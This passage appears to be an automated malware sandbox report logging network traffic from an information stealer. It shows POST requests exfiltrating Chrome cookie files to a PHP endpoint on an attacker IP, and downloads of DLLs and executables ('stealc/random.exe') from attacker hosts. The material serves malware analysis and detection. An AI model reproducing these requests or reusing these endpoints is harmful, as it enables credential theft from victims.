73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="message"plugins------KFIDBAFHCAKFBGCBFHIJ--
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"fplugins------CAAKKFHCFIECAAAKEGCF--
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHHost: 85.28.47.70Content-Length: 6491Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /c10a74a0c2f42c12/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000009001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 85.28.47.70Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlM
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 85.28.47.70Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View IP Address: 162.159.61.3 162.159.61.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: GES-ASRU GES-ASRU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EABD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 17_2_00EABD60
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"Origin: https://accounts.google.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1Host: www.bing.comConnection: keep-aliveCookie: ANON=; MUID=;_RwBf=;Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=2115996890&timestamp=1721981613915 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /chains/remote-settings.content-signature.mozilla.org-2023-10-29-15-54-12.chain HTTP/1.1Host: content-signature-2.cdn.mozilla.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveIf-Modified-Since: Sat, 09 Sep 2023 15:54:13 GMTIf-None-Match: "defaf397a2137227b32599694fdb5208"
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-site
Source: global traffic HTTP traffic detected: GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722581862&P2=404&P3=2&P4=JTb11DAk5F9Oszx2ZD7t4rWwp2X7Vubt4472pLf9KPyjlESE8pxjdPkWyXdN2w2kCQiUmByTUNPH4C%2f3Mr5D4A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: LX9M+99cQQGgkJSHrKyu3lSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: YSC=gjyAnaIPjq4; VISITOR_INFO1_LIVE=A1jsir6wrTk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgWg%3D%3DUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1
Source: global traffic HTTP traffic detected: GET /justforMonster/injection/main/injection.js HTTP/1.1Host: raw.githubusercontent.comAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6
Source: global traffic HTTP traffic detected: GET /tmp/2.exe HTTP/1.1Host: coe.com.vn
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
